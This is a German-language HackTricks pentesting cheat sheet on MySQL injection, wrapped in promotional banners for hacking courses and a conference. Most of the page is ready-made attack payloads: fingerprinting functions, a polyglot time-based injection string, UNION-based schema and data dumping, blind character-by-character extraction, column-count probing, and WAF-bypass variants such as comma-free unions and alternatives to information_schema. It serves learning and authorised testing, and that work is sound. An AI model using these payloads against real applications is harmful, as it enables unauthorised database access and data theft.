.. | ||
mysql-ssrf.md | ||
README.md |
MySQL-Injection
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.
RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
Kommentare
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interessante Funktionen
Bestätigen Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Nützliche Funktionen
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Alle Injektionen
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flow
Denken Sie daran, dass Sie in "modernen" Versionen von MySQL "information_schema.tables" durch "mysql.innodb_table_stats" ersetzen können (Dies könnte nützlich sein, um WAFs zu umgehen).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Nur 1 Wert
group_concat()
Limit X,1
Blind eins nach dem anderen
substr(version(),X,1)='r'
odersubstring(version(),X,1)=0x70
oderascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
Blind hinzufügen
LPAD(version(),1...länge(version()),'1')='asd'...
RPAD(version(),1...länge(version()),'1')='asd'...
SELECT RIGHT(version(),1...länge(version()))='asd'...
SELECT LEFT(version(),1...länge(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
Anzahl der Spalten erkennen
Verwendung einer einfachen ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Lerne hier verschiedene Optionen, um eine Mysql-Injection auszunutzen, um eine SSRF zu erhalten.
WAF-Bypass-Tricks
Information_schema-Alternativen
Denke daran, dass du in "modernen" Versionen von MySQL information_schema.tables durch mysql.innodb_table_stats oder durch sys.x$schema_flattened_keys oder durch sys.schema_table_statistics ersetzen kannst.
MySQL-Injection ohne KOMMA
Wähle 2 Spalten aus, ohne ein Komma zu verwenden (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Abrufen von Werten ohne den Spaltennamen
Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber die Namen der Spalten in der Tabelle nicht kennen, können Sie versuchen herauszufinden, wie viele Spalten vorhanden sind, indem Sie etwas wie Folgendes ausführen:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flag, können Sie versuchen, den Inhalt der Flag durch Ausprobieren von Zeichen für Zeichen zu bruteforcen:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Mehr Informationen unter https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
MySQL-Historie
Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle lesen: sys.x$statement_analysis
Versionsalternativen
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
Andere MYSQL-Injektionsleitfäden
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md
Referenzen
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md
RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos sendest.